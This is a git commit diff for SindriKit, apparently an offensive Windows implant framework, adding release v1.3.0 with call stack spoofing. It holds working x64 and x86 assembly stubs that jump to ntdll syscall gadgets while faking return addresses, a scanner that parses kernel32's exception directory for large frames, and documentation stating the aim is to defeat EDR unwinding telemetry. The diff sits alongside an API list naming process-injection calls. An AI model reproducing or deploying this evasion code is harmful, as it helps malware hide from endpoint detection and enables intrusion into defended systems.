Release v1.3.0: Stack Spoofing & Dynamic Fat Frames

- Implemented native Call Stack Spoofing with a coordinated JMP-Trampoline
- Added dynamic .pdata Exception Directory parsing to discover Fat Frames (>= 120 bytes)
- Added x86 & x64 spoofed MASM stubs with synchronized EDR unwinder offset logic
This commit is contained in:
sibouzitoun
2026-07-06 16:59:33 +01:00
parent b7d3cf717c
commit da52e28ca5
21 changed files with 498 additions and 60 deletions
+11
View File
@@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
--- ---
## [1.3.0] - 2026-07-06
Fourth major release. The framework introduces Call Stack Spoofing to defeat EDR virtual unwinding telemetry.
### Major Additions
- **Advanced Stack Spoofing (`snd_syscall_spoofed_invoke_asm`)**: Implemented full Call Stack Spoofing natively into the execution pipeline using a dynamic JMP-Trampoline.
- **Dynamic Fat Frame Discovery (`snd_syscall_find_spoof_scan`)**: Automatically parses the Exception Directory (`.pdata`) of `kernel32.dll` to locate functions with massive shadow stack allocations (>= 120 bytes). Embeds the syscall return gadget inside this frame, tricking `RtlVirtualUnwind` into parsing a perfectly intact, legitimate call chain without desynchronization.
- **Pipeline Overhaul**: Added `pSpoofAddr` and `dwSpoofFrameSize` to `snd_syscall_entry_t`. Added `snd_syscall_set_spoof_finder` to configure the spoof engine.
---
## [1.2.0] - 2026-06-29 ## [1.2.0] - 2026-06-29
Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience. Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience.
+14 -6
View File
@@ -30,12 +30,20 @@ endif()
# --- Architecture-specific assembly --- # --- Architecture-specific assembly ---
if(CMAKE_SIZEOF_VOID_P EQUAL 8) if(CMAKE_SIZEOF_VOID_P EQUAL 8)
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm) set(SINDRI_EXEC_ASM
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm) src/primitives/execution/syscalls/asm/invoke_direct_x64.asm
src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm
src/primitives/execution/syscalls/asm/invoke_spoofed_x64.asm
src/primitives/execution/ffi/asm/ffi_x64.asm
)
set(HEAVENSGATE_ASM "") set(HEAVENSGATE_ASM "")
else() else()
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm) set(SINDRI_EXEC_ASM
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm) src/primitives/execution/syscalls/asm/invoke_direct_x86.asm
src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm
src/primitives/execution/syscalls/asm/invoke_spoofed_x86.asm
src/primitives/execution/ffi/asm/ffi_x86.asm
)
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm) set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
endif() endif()
@@ -112,10 +120,10 @@ add_library(sindri_engine STATIC
src/primitives/execution/syscalls/syscalls_scan.c src/primitives/execution/syscalls/syscalls_scan.c
src/primitives/execution/syscalls/syscalls_sort.c src/primitives/execution/syscalls/syscalls_sort.c
src/primitives/execution/syscalls/gadget_scan.c src/primitives/execution/syscalls/gadget_scan.c
src/primitives/execution/syscalls/spoof_scan.c
# Assembly & generated # Assembly & generated
${SYSCALL_ASM} ${SINDRI_EXEC_ASM}
${EXECUTION_ASM}
${HEAVENSGATE_ASM} ${HEAVENSGATE_ASM}
${GENERATED_HEADER} ${GENERATED_HEADER}
) )
+1
View File
@@ -49,3 +49,4 @@ WriteProcessMemory
VirtualProtectEx VirtualProtectEx
CreateRemoteThread CreateRemoteThread
CloseHandle CloseHandle
BaseThreadInitThunk
+4 -3
View File
@@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB
|---|---|---| |---|---|---|
| `_win` | Documented Win32 APIs | memory, modules, mapping, process | | `_win` | Documented Win32 APIs | memory, modules, mapping, process |
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process | | `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
| `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules | | `_sys` | Direct, indirect, or spoofed syscalls (configurable invoker) | memory, mapping, process — **not** modules |
### OpSec profile examples ### OpSec profile examples
@@ -103,9 +103,10 @@ snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls: // or for indirect/spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); // snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
``` ```
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit. This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
+1 -1
View File
@@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) | | [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls | | [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` | | [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) | | [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect / spoofed) |
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate | | [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
Contract definitions: `include/sindri/primitives/os_api.h` Contract definitions: `include/sindri/primitives/os_api.h`
@@ -95,5 +95,6 @@ snd_status_t snd_hg_execute_64(
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call | | `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
| `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub | | `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub |
| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget | | `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget |
| `snd_syscall_spoofed_invoke_asm` | `syscalls/asm/invoke_spoofed_x64.asm` or `invoke_spoofed_x86.asm` | Spoofed syscall via Fat Frame gadget |
These are linked into `sindri::engine`; callers use the C wrappers above. These are linked into `sindri::engine`; callers use the C wrappers above.
+2 -9
View File
@@ -56,18 +56,11 @@ Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (ma
|---|---|---| |---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline | | `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget | | `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
| `snd_syscall_spoofed_invoke_asm` | `invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm` | Spoofs call stack with dynamic Fat Frame discovery |
> [!NOTE] > [!NOTE]
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime. > Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_indirect_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
## Invocation modes
| Function | File | Description |
|---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically.
## Table of Contents ## Table of Contents
@@ -25,6 +25,8 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys
| `dwHash` | `DWORD` | Target function hash | | `dwHash` | `DWORD` | Target function hash |
| `wSystemCall` | `WORD` | Resolved SSN | | `wSystemCall` | `WORD` | Resolved SSN |
| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) | | `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) |
| `pSpoofAddr` | `PVOID` | Gadget address for spoofed invocation (populated by spoof finder) |
| `dwSpoofFrameSize` | `DWORD` | Frame size of the spoofed function (populated by spoof finder) |
> [!NOTE] > [!NOTE]
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation. > The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
@@ -38,6 +40,8 @@ Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_sysca
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` | | `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
| `arg1``arg11` | `PVOID` | Syscall arguments | | `arg1``arg11` | `PVOID` | Syscall arguments |
| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub | | `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub |
| `spoof_addr` | `PVOID` | Gadget address for spoofed invocation; ignored by other stubs |
| `spoof_frame_size` | `DWORD` | Frame size of the spoofed function; ignored by other stubs |
> [!NOTE] > [!NOTE]
> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs. > `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs.
@@ -150,6 +154,20 @@ Built-in: `snd_syscall_find_gadget_scan`.
--- ---
### `snd_syscall_set_spoof_finder`
Sets the global spoof finder function pointer. Only required when using spoofed invocation.
```c
void snd_syscall_set_spoof_finder(snd_syscall_spoof_finder_t finder);
```
Built-in: `snd_syscall_find_spoof_scan`.
**Source:** `src/primitives/execution/syscalls/syscalls.c`
---
## Resolution & Execution ## Resolution & Execution
### `snd_syscall_resolve` ### `snd_syscall_resolve`
@@ -188,6 +206,18 @@ extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
--- ---
### `snd_syscall_spoofed_invoke_asm`
Architecture-specific ASM stub (`invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL and spoofs the return address using a JMP-Trampoline inside a Fat Frame. Requires both `sys_addr` (via `snd_syscall_find_gadget_scan`) and `spoof_addr` / `spoof_frame_size` (via `snd_syscall_find_spoof_scan`).
```c
extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args);
```
**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if any required address is NULL
---
## Compile-Time Defaults (`SND_USE_DEFAULTS`) ## Compile-Time Defaults (`SND_USE_DEFAULTS`)
| Macro | Default value (when enabled) | | Macro | Default value (when enabled) |
@@ -129,6 +129,33 @@ Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs au
--- ---
## Spoof finder (`snd_syscall_find_spoof_scan`)
**Source:** `spoof_scan.c`
Locates a trampoline gadget (`RET`) within a legitimate function in `kernel32.dll` to spoof the call stack return address.
### Algorithm (x64)
To prevent frame desynchronization during stack unwinding (where the EDR's `RtlVirtualUnwind` crashes trying to parse our spoofed return address), the spoof finder dynamically hunts for a **"Fat Frame"**.
1. Resolve the natively loaded `kernel32.dll` via PEB.
2. Manually parse the **Exception Directory** (`.pdata`) of `kernel32.dll` (avoiding native APIs like `RtlLookupFunctionEntry` for stealth).
3. Iterate through `RUNTIME_FUNCTION` entries and parse their `UNWIND_INFO` structures to calculate the total stack space allocated by each function.
4. Find a function that allocates at least **120 bytes** (a "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments.
5. Scan the body of the Fat Frame function for a `0xC3` (`RET`) instruction.
6. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset.
### Algorithm (x86)
x86 does not use `.pdata` for exception handling. The scanner falls back to resolving `BaseThreadInitThunk` and scanning forward/backward for a simple `RET` gadget.
### When to use
Required when using `snd_syscall_spoofed_invoke_asm`. The spoof finder runs automatically during `snd_syscall_resolve` if `g_syscall_spoof_finder` is set.
---
## Dependencies ## Dependencies
Both resolvers depend on: Both resolvers depend on:
+28 -16
View File
@@ -12,8 +12,9 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime
flowchart LR flowchart LR
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"] A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"]
B --> C["3. snd_syscall_set_invoker"] B --> C["3. snd_syscall_set_invoker"]
C --> D["4. snd_syscall_resolve"] C --> D["4. snd_syscall_set_spoof_finder"]
D --> E["5. g_syscall_invoker"] D --> E["5. snd_syscall_resolve"]
E --> F["6. g_syscall_invoker"]
``` ```
### 1. Provide `ntdll` base ### 1. Provide `ntdll` base
@@ -56,7 +57,15 @@ snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for ind
Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86). Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86).
### 4. Resolve SSN ### 4. Configure spoof finder (optional)
If using `snd_syscall_spoofed_invoke_asm`, you must configure a spoof finder. It dynamicallly searches for a "Fat Frame" in `kernel32.dll` to hide the call stack.
```c
snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
```
### 5. Resolve SSN
```c ```c
snd_syscall_entry_t entry = {0}; snd_syscall_entry_t entry = {0};
@@ -65,23 +74,25 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry);
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`. `snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
### 5. Invoke ### 6. Invoke
Populate `snd_syscall_args_t` and call via the global invoker: Populate `snd_syscall_args_t` and call via the global invoker:
```c ```c
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.arg1 = ...; args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = ...;
// arg2arg11 as required by the target syscall // arg2arg11 as required by the target syscall
NTSTATUS nt_status = g_syscall_invoker(&args); NTSTATUS nt_status = g_syscall_invoker(&args);
``` ```
`sys_addr` is only used by the indirect invoker; the direct invoker ignores it. `sys_addr` is only used by indirect/spoofed invokers. `spoof_addr` and `spoof_frame_size` are only used by the spoofed invoker.
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 45 internally — operators only bootstrap once at startup. `_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 56 internally — operators only bootstrap once at startup.
--- ---
@@ -96,10 +107,9 @@ if (SND_FAILED(st)) return st;
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// or for indirect syscalls: snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// Resolve + invoke NtClose // Resolve + invoke NtClose
snd_syscall_entry_t entry = {0}; snd_syscall_entry_t entry = {0};
@@ -107,9 +117,11 @@ st = snd_syscall_resolve(SND_HASH_NTCLOSE, &entry);
if (SND_FAILED(st)) return st; if (SND_FAILED(st)) return st;
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle; args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = handle;
NTSTATUS nt = g_syscall_invoker(&args); NTSTATUS nt = g_syscall_invoker(&args);
``` ```
+1
View File
@@ -83,6 +83,7 @@ typedef enum _SND_STATUS_CODE {
// Syscall resolution errors // Syscall resolution errors
SND_STATUS_SSN_NOT_FOUND = 0x500, SND_STATUS_SSN_NOT_FOUND = 0x500,
SND_STATUS_GADGET_NOT_FOUND,
// PEB // PEB
SND_STATUS_PEB_MODULE_NOT_FOUND = 0x600, SND_STATUS_PEB_MODULE_NOT_FOUND = 0x600,
+15 -6
View File
@@ -23,6 +23,8 @@ typedef struct {
DWORD dwHash; DWORD dwHash;
WORD wSystemCall; WORD wSystemCall;
PVOID pSyscallAddr; PVOID pSyscallAddr;
PVOID pSpoofAddr;
DWORD dwSpoofFrameSize; // The actual frame size of the Fat Frame in bytes
} snd_syscall_entry_t; } snd_syscall_entry_t;
/** /**
@@ -44,6 +46,8 @@ typedef struct {
// Placed at the end to prevent altering the memory offsets of args 1-11 // Placed at the end to prevent altering the memory offsets of args 1-11
// inside the existing Direct ASM stub (invoke_x64.asm). // inside the existing Direct ASM stub (invoke_x64.asm).
PVOID sys_addr; PVOID sys_addr;
PVOID spoof_addr;
DWORD spoof_frame_size;
} snd_syscall_args_t; } snd_syscall_args_t;
/** /**
@@ -57,15 +61,18 @@ typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry);
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry); snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry);
snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry);
#if SND_USE_DEFAULTS #if SND_USE_DEFAULTS
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm #define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan #define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan #define SND_SYSCALL_SPOOF_FINDER_DEFAULT snd_syscall_find_spoof_scan
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
#else #else
#define SND_SYSCALL_INVOKER_DEFAULT NULL #define SND_SYSCALL_INVOKER_DEFAULT NULL
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL #define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
#define SND_SYSCALL_RESOLVER_DEFAULT NULL #define SND_SYSCALL_SPOOF_FINDER_DEFAULT NULL
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
#endif #endif
/** /**
@@ -82,6 +89,7 @@ void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver); snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker); void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder); void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder);
/** /**
* @brief Sets the global base address of the ntdll.dll module. * @brief Sets the global base address of the ntdll.dll module.
@@ -106,6 +114,7 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
*/ */
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args); extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args); extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args);
SND_END_EXTERN_C SND_END_EXTERN_C
+2
View File
@@ -126,6 +126,8 @@ const char *snd_status_to_string(snd_status_t status) {
// SSN related errors // SSN related errors
case SND_STATUS_SSN_NOT_FOUND: case SND_STATUS_SSN_NOT_FOUND:
return "SSN not found"; return "SSN not found";
case SND_STATUS_GADGET_NOT_FOUND:
return "Gadget not found";
// PEB related errors // PEB related errors
case SND_STATUS_PEB_MODULE_NOT_FOUND: case SND_STATUS_PEB_MODULE_NOT_FOUND:
@@ -0,0 +1,92 @@
; ===========================================================================
; invoke_spoofed_x64.asm - SindriKit Spoofed Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_spoofed_invoke_asm
;
; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget
; within ntdll.dll, but spoofs the return address pushed onto the stack
; so that call stack telemetry sees the spoofed address instead of the payload
; address Uses MASM SEH directives (.pdata/.xdata) to ensure consistent
; unwinding.
; ===========================================================================
.code
PUBLIC snd_syscall_spoofed_invoke_asm
; snd_syscall_spoofed_invoke_asm(SND_SYSCALL_ARGS* args)
snd_syscall_spoofed_invoke_asm PROC FRAME
push rbp
.PUSHREG rbp
push r12
.PUSHREG r12
mov rbp, rsp
.SETFRAME rbp, 0
; Allocate 256 bytes to be safe for larger Fat Frames (up to ~240 bytes).
sub rsp, 256
.ALLOCSTACK 256
.ENDPROLOG
; RCX points to SND_SYSCALL_ARGS struct
mov r11, [rcx+96] ; sys_addr (gadget)
test r11, r11
jz InvalidArgs
mov r8, [rcx+104] ; spoof_addr (trampoline)
test r8, r8
jz InvalidArgs
mov r12d, dword ptr [rcx+112] ; spoof_frame_size (DWORD)
test r12, r12
jz InvalidArgs
; Build the Top-of-Stack Exposure JMP-Trampoline strictly within our local frame
; The syscall gadget expects to return to what is at [rsp].
; So we must put the Trampoline (RET) at [rsp+0].
mov [rsp+0], r8
lea rax, Cleanup
mov [rsp+8], rax
mov rax, [rbp+16]
mov [rsp + r12 + 8], rax
mov rax, [rcx+40] ; arg5
mov [rsp+40], rax
mov rax, [rcx+48] ; arg6
mov [rsp+48], rax
mov rax, [rcx+56] ; arg7
mov [rsp+56], rax
mov rax, [rcx+64] ; arg8
mov [rsp+64], rax
mov rax, [rcx+72] ; arg9
mov [rsp+72], rax
mov rax, [rcx+80] ; arg10
mov [rsp+80], rax
mov rax, [rcx+88] ; arg11
mov [rsp+88], rax
; Extract SSN and arguments 1-4
movzx eax, word ptr [rcx] ; ssn is a WORD
mov r10, [rcx+8] ; arg1
mov rdx, [rcx+16] ; arg2
mov r8, [rcx+24] ; arg3
mov r9, [rcx+32] ; arg4
; Jump to the NTDLL syscall gadget
jmp r11
InvalidArgs:
mov eax, 0C000000Dh ; STATUS_INVALID_PARAMETER
jmp Cleanup
Cleanup:
mov rsp, rbp
pop r12
pop rbp
ret
snd_syscall_spoofed_invoke_asm ENDP
end
@@ -0,0 +1,83 @@
; ===========================================================================
; invoke_spoofed_x86.asm - SindriKit Spoofed Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_spoofed_invoke_asm
;
; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub,
; while spoofing the caller's return address on the stack.
; ===========================================================================
.686
.model flat, c
.code
PUBLIC snd_syscall_spoofed_invoke_asm
; NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t* args)
snd_syscall_spoofed_invoke_asm PROC
push ebp
mov ebp, esp
; Save non-volatile registers
push edi
push esi
push ebx
mov eax, [ebp+8]
; Extract sys_addr (offset 48) and spoof_addr (offset 52)
mov ecx, [eax+48]
test ecx, ecx
jz InvalidArgs
mov edi, [eax+52] ; EDI holds spoof_addr
test edi, edi
jz InvalidArgs
GadgetValid:
; Push 11 arguments
push [eax+44] ; arg11
push [eax+40] ; arg10
push [eax+36] ; arg9
push [eax+32] ; arg8
push [eax+28] ; arg7
push [eax+24] ; arg6
push [eax+20] ; arg5
push [eax+16] ; arg4
push [eax+12] ; arg3
push [eax+8] ; arg2
push [eax+4] ; arg1
; Extract SSN into EAX for the syscall
movzx eax, word ptr [eax]
; Spoof the caller's return address using the Trampoline Gadget (RET)
mov esi, [ebp + 4]
mov [ebp + 4], edi
; Push SyscallCleanup onto the stack so the trampoline RET returns here
lea edx, SyscallCleanup
push edx
jmp ecx
InvalidArgs:
mov eax, 0C000000Dh
jmp Cleanup
SyscallCleanup:
lea esp, [ebp - 12]
mov [ebp + 4], esi
Cleanup:
pop ebx
pop esi
pop edi
pop ebp
ret
snd_syscall_spoofed_invoke_asm ENDP
end
@@ -12,14 +12,12 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
return SND_ERR(SND_STATUS_NULL_POINTER); return SND_ERR(SND_STATUS_NULL_POINTER);
} }
// 1. Get the natively loaded NTDLL from our own PEB PVOID local_ntdll = NULL;
PVOID local_ntdll = NULL; snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
if (SND_FAILED(status) || !local_ntdll) { if (SND_FAILED(status) || !local_ntdll) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED); return SND_ERR(SND_STATUS_NOT_INITIALIZED);
} }
// 2. Resolve the real, executable address of the API using its hash
FARPROC exec_addr = NULL; FARPROC exec_addr = NULL;
status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL); status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL);
if (SND_FAILED(status) || !exec_addr) { if (SND_FAILED(status) || !exec_addr) {
@@ -30,7 +28,6 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
BYTE *ptr = (BYTE *)exec_addr; BYTE *ptr = (BYTE *)exec_addr;
// Scan forward a maximum of 32 bytes from the API entry point // Scan forward a maximum of 32 bytes from the API entry point
// looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature.
for (int i = 0; i < 32; i++) { for (int i = 0; i < 32; i++) {
if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) { if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) {
entry->pSyscallAddr = (PVOID)&ptr[i]; entry->pSyscallAddr = (PVOID)&ptr[i];
@@ -38,23 +35,10 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
} }
} }
return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
#elif defined(_WIN32) #elif defined(_WIN32)
BYTE *ptr = (BYTE *)exec_addr; BYTE *ptr = (BYTE *)exec_addr;
